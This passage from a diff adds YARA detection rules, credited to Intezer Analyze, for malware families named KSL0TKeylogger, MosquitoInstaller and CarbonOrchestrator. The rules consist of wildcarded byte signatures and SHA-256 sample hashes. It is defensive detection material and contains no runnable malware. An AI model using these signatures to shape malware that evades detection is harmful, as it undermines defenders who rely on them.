+		hash.sha256(0, filesize) == "67a283a8ddd2ca7976e46010505a1c3ca699405bb9a77f7129c1ac8219995e5f" or
+		12 of them
+}
+
+rule KSL0TKeylogger {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 3B ?? 75 }
+		$block_1 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8D ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 2B ?? 8A ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_2 = { 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 03 ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? E9 }
+		$block_3 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8D ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 2B ?? 8A ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8D ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 2B ?? 8A ?? ?? ?? ?? ?? 8B ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_5 = { 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? 30 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? BB ?? ?? ?? ?? BD ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? 2B ?? 83 ?? ?? 2B ?? 89 ?? ?? ?? C7 }
+		$block_6 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 6A ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? ?? 8B ?? 5? FF 1? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 5? 6A ?? 8B ?? 5? FF 1? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? }
+		$block_7 = { B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? 03 ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? B8 ?? ?? ?? ?? 2B ?? 0F B6 ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 75 }
+		$block_8 = { B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 8D ?? ?? 03 ?? B8 ?? ?? ?? ?? F7 ?? C1 ?? ?? 6B ?? ?? 8B ?? 2B ?? 0F B6 ?? ?? ?? ?? ?? 30 ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 75 }
+		$block_9 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 83 ?? ?? 5? 5? 5? A1 ?? ?? ?? ?? 31 ?? ?? 33 ?? 5? 8D ?? ?? 64 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "4f724e8ecf781fe1c160581d7b35d1eb951f7abf079e7ec8aa79783ec44e9d1a" or
+		hash.sha256(0, filesize) == "13dcbab502b7a291c4e56396ea369729c57268c099c59fc76a1eb6eb9ed3f0b4" or
+		hash.sha256(0, filesize) == "3b7060063814ff7dbdda98b30d35282a5686e0b965e79ee89b1d9d279b5c125a" or
+		hash.sha256(0, filesize) == "740b27fc5552e5ac3c3655e9c598ed5711cfce442cc64e39af7dca8c468aad09" or
+		hash.sha256(0, filesize) == "800fa6a256a1c026a905ccd650d818929e749bbae1129d309f40c7227449450c" or
+		10 of them
+}
+
+rule MosquitoInstaller {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 81 F? ?? ?? ?? ?? 0F 84 }
+		$block_1 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_3 = { E8 ?? ?? ?? ?? 10 ?? 00 ?? ?? 6C 65 ?? 06 8B ?? 01 ?? 8B ?? 8B ?? ?? 3D ?? ?? ?? ?? 84 ?? ?? 75 }
+		$block_4 = { 08 ?? ?? ?? ?? ?? F7 ?? 4? 4? FF C? FF 7? ?? 3A ?? 80 7? ?? ?? CC CC CC CC CC CC CC CC CC CC CC }
+		$block_5 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 5? 68 ?? ?? ?? ?? 10 ?? ?? 68 ?? ?? ?? ?? 4? 61 68 ?? ?? ?? ?? 8B ?? 5? 85 ?? 8C ?? ?? 00 ?? E9 }
+		$block_7 = { 8B ?? ?? 03 ?? ?? BA ?? ?? ?? ?? 6B ?? ?? 0F B7 ?? ?? 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_8 = { 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 23 ?? ?? 81 F? ?? ?? ?? ?? 0F 86 }
+		$block_9 = { F1 C4 ?? ?? 85 ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? ?? ?? 20 ?? FF 0? 4? 00 ?? ?? FF B? ?? ?? ?? ?? 72 }
+		$block_10 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_11 = { EC 07 80 8? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? ?? ?? ?? ?? CC FF 1? ?? ?? ?? ?? 24 ?? 8B ?? 5? 5? 79 }
+		$block_12 = { EC 83 ?? ?? 83 ?? ?? 83 ?? ?? ?? 33 ?? 8B ?? ?? 5? 5? 8D ?? ?? ?? AB AB AB 8B ?? ?? 3B ?? ?? 72 }
+		$block_13 = { 8B ?? 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { F8 10 ?? ?? ?? ?? ?? 63 ?? 00 ?? ?? ?? ?? ?? 8B ?? 4? 08 ?? E8 ?? ?? ?? ?? 10 ?? 5? 5? EC 5? 74 }
+		$block_15 = { FF 5? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? FF 4? ?? 08 ?? 8D ?? ?? ?? 02 ?? 9D 4? 16 02 ?? E9 }
+		$block_16 = { 69 ?? ?? ?? ?? ?? ?? 0F 74 ?? ?? 00 ?? ?? 4? 08 ?? ?? 89 ?? ?? 88 ?? ?? ?? ?? ?? 00 ?? ?? C9 74 }
+		$block_17 = { 00 ?? ?? 5? 4? 24 ?? E8 ?? ?? ?? ?? 00 ?? ?? 0F 20 ?? 8D ?? ?? ?? ?? ?? 00 ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 15 ?? ?? ?? ?? 00 ?? ?? 4? 6C 00 ?? E8 ?? ?? ?? ?? 00 ?? ?? 5? CE E8 ?? ?? ?? ?? CC 8B ?? ?? 79 }
+		$block_19 = { 4? C0 ?? ?? ?? ?? C9 00 ?? ?? ?? ?? ?? 4? FC 07 8B ?? ?? 10 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 70 }
+		$block_20 = { CC B8 ?? ?? ?? ?? FF 7? ?? ?? 9D 4? 5? FF F? 0F 10 ?? ?? ?? ?? ?? 5? FF 8? ?? ?? ?? ?? FF C? 74 }
+		$block_21 = { 8B ?? 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 33 ?? 5? 5? 8D ?? ?? 89 ?? ?? AB AB AB 8B ?? ?? 85 ?? 75 }
+		$block_22 = { 8B ?? ?? 23 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_23 = { 8B ?? 04 ?? 00 ?? 6F 62 ?? ?? 68 ?? ?? ?? ?? 3F 4? 29 ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 72 }
+		$block_24 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_25 = { 89 ?? 61 F6 ?? ?? 6A ?? 00 ?? ?? FF 8? ?? ?? ?? ?? 3C ?? 00 ?? 8D ?? ?? ?? ?? ?? 00 ?? ?? 74 }
+		$block_26 = { 63 ?? ?? 89 ?? ?? ?? ?? ?? FF 8? ?? ?? ?? ?? 8B ?? 0E 00 ?? ?? ?? ?? ?? 15 ?? ?? ?? ?? 0F 85 }
+		$block_27 = { EC 83 ?? ?? ?? 15 ?? ?? ?? ?? 8B ?? 24 ?? 00 ?? ?? ?? FF 5? ?? 14 ?? C9 FF C? FF 5? ?? 4? EF }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? FF 0? 65 ?? ?? 6A ?? 83 ?? ?? ?? 33 ?? 16 02 ?? ?? ?? ?? ?? 14 }
+		$block_29 = { 00 ?? ?? B8 ?? ?? ?? ?? 5? FF 0? 00 ?? ?? ?? ?? ?? FC C0 ?? ?? ?? 00 ?? 00 ?? ?? 00 ?? 5? 72 }
+		$block_30 = { FF 9? ?? ?? ?? ?? FF 0? 8D ?? ?? A1 ?? ?? ?? ?? 5? 8B ?? CC CC 13 ?? ?? 8B ?? ?? 00 ?? ?? 75 }
+		$block_31 = { 3C ?? 65 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? 85 ?? 0F 33 F6 ?? ?? EC 83 ?? ?? 8B ?? ?? 8B ?? ?? 72 }
+		$block_32 = { 8B ?? 8B ?? 8B ?? 5? E8 ?? ?? ?? ?? 01 ?? 8D ?? ?? 08 ?? ?? FC 8B ?? ?? 89 ?? ?? ?? ?? ?? 89 }
+		$block_33 = { 4? FC 85 ?? C7 ?? ?? ?? ?? ?? ?? 0F 67 ?? 6C 00 ?? 6B ?? ?? ?? 24 ?? 0C ?? 02 ?? ?? 5? FF 5? }
+		$block_34 = { 64 ?? ?? 8B ?? ?? ?? ?? ?? 5? 00 ?? ?? E8 ?? ?? ?? ?? 5? FF 0? 00 ?? ?? 4? F8 83 ?? ?? FF 2? }
+		$block_35 = { 00 ?? 68 ?? ?? ?? ?? 30 ?? 63 ?? 69 ?? ?? ?? ?? ?? ?? 6E 8B ?? 69 ?? ?? ?? ?? ?? 00 ?? 74 }
+		$block_36 = { 61 9? 10 ?? 00 ?? 29 ?? ?? 4? 6F EC 8B ?? ?? EC 8B ?? 9? 00 ?? ?? 24 ?? E8 ?? ?? ?? ?? 70 }
+		$block_37 = { E8 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? FC 33 ?? 33 ?? 3F 4? 10 ?? ?? 5? F3 ?? ?? 5? 73 }
+		$block_38 = { 68 ?? ?? ?? ?? 24 ?? 4? FC F4 05 ?? ?? ?? ?? 29 ?? 61 63 ?? 04 ?? 69 ?? ?? ?? ?? ?? ?? 5? }
+		$block_39 = { 0E 00 ?? ?? 01 ?? 89 ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 00 ?? ?? F8 63 ?? 5? 5? 00 ?? ?? 74 }
+		$block_40 = { CC CC CC CC CC CC CC CC CC CC CC CC 8B ?? 5? 8B ?? 5? 5? 8B ?? 33 ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_41 = { 30 ?? 8D ?? ?? 00 ?? 5? 5? 8D ?? ?? ?? ?? ?? CC B8 ?? ?? ?? ?? FF 0? 00 ?? ?? ?? ?? ?? 75 }
+		$block_42 = { 5? 5? F6 ?? ?? 00 ?? D6 8B ?? 85 ?? 4? 24 ?? 65 ?? ?? ?? ?? 02 ?? 8B ?? ?? 85 ?? 8B ?? 75 }
+		$block_43 = { F6 ?? ?? 4? FF 0? 61 FF 1? ?? ?? ?? ?? 07 8B ?? ?? ?? ?? ?? 5? 0E 00 ?? 83 ?? ?? 14 ?? 79 }
+		$block_44 = { FF C? F4 05 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 4? 4? 69 ?? ?? ?? ?? ?? ?? CC 63 ?? 74 }
+		$block_45 = { 03 ?? ?? ?? ?? ?? E4 ?? 4? FC E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? C6 ?? ?? ?? 85 ?? 74 }
+		$block_46 = { EC 00 ?? 8D ?? ?? 24 ?? 00 ?? ?? 6E 61 2E ?? BC ?? ?? ?? ?? 04 ?? 24 ?? 2F 13 ?? 74 }
+		$block_47 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 01 ?? 13 ?? ?? 3D ?? ?? ?? ?? 24 ?? 8B ?? 61 74 }
+		$block_48 = { 6C 65 ?? 8B ?? FF 5? ?? 00 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? F4 24 ?? FF 0? 20 ?? ?? 74 }
+		$block_49 = { 0C ?? 0E F0 ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 6A ?? 83 ?? ?? 5? 3B ?? 76 }
+		$block_50 = { 00 ?? ?? 1C ?? 8B ?? ?? 00 ?? ?? B8 ?? ?? ?? ?? FF 5? ?? 8B ?? ?? EC 8B ?? ?? 70 }
+		$block_51 = { 01 ?? ?? ?? 6F 02 ?? FB FF 7? ?? 00 ?? 8B ?? 00 ?? ?? 00 ?? ?? ?? 5? 00 ?? ?? 72 }
+		$block_52 = { FB FF 5? ?? C6 ?? ?? ?? FF 7? ?? 00 ?? ?? 00 ?? ?? 6F 61 69 ?? ?? ?? ?? ?? ?? 70 }
+		$block_53 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? A5 C7 ?? ?? ?? ?? ?? ?? A5 A5 A5 }
+		$block_54 = { FB FF 6? ?? ?? 24 ?? 68 ?? ?? ?? ?? 64 ?? ?? 6E 8D ?? ?? ?? ?? ?? 13 ?? ?? 74 }
+		$block_55 = { 6E 64 ?? ?? ?? E8 ?? ?? ?? ?? 13 ?? ?? 10 ?? ?? ?? 6D 6D 00 ?? ?? ?? ?? ?? 74 }
+		$block_56 = { 8B ?? 6F 6E 5? FF 5? ?? 05 ?? ?? ?? ?? 20 ?? E8 ?? ?? ?? ?? FF 6? ?? 8B ?? 10 }
+		$block_57 = { F6 ?? 6A ?? 24 ?? 8B ?? ?? 85 ?? A5 A5 9? 10 ?? 3A ?? ?? 33 ?? 00 ?? 5? 5? 6D }
+		$block_58 = { 00 ?? 4? 4? 61 08 ?? 00 ?? F6 ?? ?? ?? 08 ?? 9? 10 ?? 00 ?? ?? ?? ?? ?? E9 }
+		$block_59 = { 00 ?? 00 ?? ?? 00 ?? ?? 02 ?? C8 ?? ?? ?? BC ?? ?? ?? ?? 04 ?? 6C 63 ?? 74 }
+		$block_60 = { 29 ?? 00 ?? 00 ?? ?? ?? ?? ?? 84 ?? ?? 6C 8B ?? 04 ?? 00 ?? ?? 85 ?? FF 6? }
+		$block_61 = { 4? 4? 10 ?? ?? 1C ?? 05 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? FB 2E ?? 61 74 }
+		$block_62 = { 8D ?? ?? ?? ?? ?? ?? FC 13 ?? ?? 5? F4 05 ?? ?? ?? ?? C0 ?? ?? ?? ?? 75 }
+		$block_63 = { 5? 3A ?? 5? 8B ?? EC 8B ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 65 ?? ?? ?? 00 }
+		$block_64 = { 00 ?? 00 ?? 65 ?? ?? 00 ?? ?? 00 ?? FF 6? ?? 63 ?? 6A ?? 3A ?? CC 6F 70 }
+		$block_65 = { 8B ?? 0C ?? 6F 6D 00 ?? ?? 8B ?? 01 ?? 01 ?? 4? 4? 00 ?? ?? ?? ?? ?? 70 }
+		$block_66 = { 2F 4? 65 ?? ?? ?? ?? ?? ?? 5? 3A ?? ?? 64 ?? 5? 5? BC ?? ?? ?? ?? 6F 63 }
+		$block_67 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 86 }
+		$block_68 = { 8B ?? ?? 6A ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 04 ?? 4? 04 ?? 4? 04 ?? 5? 04 ?? 05 ?? ?? ?? ?? 0E 8B ?? ?? 3B ?? 75 }
+		$block_70 = { 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_71 = { 6D 6D 00 ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? 20 ?? 20 ?? ?? 0C ?? 74 }
+		$block_72 = { 02 ?? 2F 62 ?? ?? 10 ?? 8B ?? 20 ?? 2E ?? ?? 85 ?? 6F 6E 0C ?? 6D }
+		$block_73 = { 4? 61 10 ?? 08 ?? 4? 61 00 ?? ?? ?? 5? 24 ?? 5? 00 ?? 00 ?? ?? 20 }
+		$block_74 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_75 = { CC 00 ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? 06 8B ?? ?? ?? ?? ?? 61 74 }
+		$block_76 = { FD FF 0? C6 ?? ?? 3F 4? 00 ?? ?? 15 ?? ?? ?? ?? 5? 61 63 ?? ?? 70 }
+		$block_77 = { 8B ?? ?? 33 ?? 6B ?? ?? 03 ?? 8B ?? AB AB AB AB AB 5? 85 ?? 74 }
+		$block_78 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_79 = { A5 6C 65 ?? ?? 00 ?? ?? 4? 69 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 84 }
+		$block_80 = { 24 ?? 69 ?? ?? ?? ?? ?? 8B ?? ?? 00 ?? ?? 00 ?? ?? A5 A5 61 72 }
+		$block_81 = { 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_82 = { 5? 8B ?? ?? ?? FF 5? ?? 61 69 ?? ?? ?? ?? ?? ?? ?? ?? ?? 2F }
+		$block_83 = { F7 ?? ?? ?? ?? ?? 6A ?? 4? 06 8B ?? ?? ?? ?? ?? 01 ?? ?? C2 }
+		$block_84 = { 24 ?? 08 ?? ?? ?? ?? ?? 01 ?? 2F 00 ?? 6A ?? 6C CC 8B ?? 8D }
+		$block_85 = { 10 ?? ?? 00 ?? 4? 00 ?? 8D ?? 2F 5? 61 63 ?? 08 ?? ?? FF 6? }
+		$block_86 = { 8B ?? ?? 8D ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? A5 A5 A5 A5 33 }
+		$block_87 = { FC E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? C6 ?? ?? ?? 85 ?? 74 }
+		$block_88 = { FF C? 3D ?? ?? ?? ?? 6D 08 ?? ?? ?? ?? ?? 29 ?? 33 ?? 70 }
+		$block_89 = { 8B ?? 5? 8B ?? 5? 5? 8B ?? 33 ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_90 = { 69 ?? ?? ?? ?? ?? ?? 5? 0C ?? 65 ?? ?? 2E ?? ?? 6F 72 }
+		$block_91 = { 8B ?? ?? 0F AF ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$block_92 = { 00 ?? 3D ?? ?? ?? ?? 4? 1C ?? 00 ?? 4? 08 ?? ?? 06 70 }
+		$block_93 = { FF 8? ?? ?? ?? ?? 00 ?? ?? 08 ?? ?? 5? 5? F7 ?? 6F 72 }
+		$block_94 = { 00 ?? ?? ?? ?? ?? 00 ?? ?? 61 10 ?? 5? 4? 3A ?? 06 8B }
+		$block_95 = { 8B ?? ?? 5? 5? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 88 }
+		$block_96 = { 0F B7 ?? ?? 0F B7 ?? ?? 66 ?? ?? 0F 92 ?? 84 ?? 75 }
+		$block_97 = { CC CC CC 8B ?? 5? 8B ?? 83 ?? ?? 8B ?? ?? 5? 5? 75 }
+		$block_98 = { 6D 62 ?? ?? 5? 24 ?? 6C 00 ?? 61 6E 8B ?? ?? 72 }
+		$block_99 = { 69 ?? ?? ?? ?? ?? F7 ?? FF 1? ?? 08 ?? ?? CC 72 }
+
+	condition:
+		hash.sha256(0, filesize) == "b362b235539b762734a1833c7e6c366c1b46474f05dc17b3a631b3bff95a5eec" or
+		hash.sha256(0, filesize) == "2e6dba522e5ca03c5ca5bc60ecec212177482898c7ec81a0871b19a67cf124e8" or
+		hash.sha256(0, filesize) == "f667680df596631fba58754c16c3041fae12ed6bf25d6068e6981ee68a6c9d0a" or
+		hash.sha256(0, filesize) == "fc9961e78890f044c5fc769f74d8440fcecf71e0f72b4d33ce470e920a4a24c3" or
+		hash.sha256(0, filesize) == "2a61b4d0a7c5d7dc13f4f1dd5e0e3117036a86638dbafaec6ae96da507fb7624" or
+		hash.sha256(0, filesize) == "ecfa113838c5542f6db62dbe8b27d4ff099afe711048ccf76924799044dd4ab6" or
+		hash.sha256(0, filesize) == "5e0dd729c21cd507bdb2a40954917685628f83171280bd34120cfe20c51ce4bf" or
+		hash.sha256(0, filesize) == "b295032919143f5b6b3c87ad22bcf8b55ecc9244aa9f6f88fc28f36f5aa2925e" or
+		12 of them
+}
+
+rule CarbonOrchestrator_v3_77_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_1 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? 48 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_2 = { 4C ?? ?? ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_3 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_5 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? EB }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_8 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
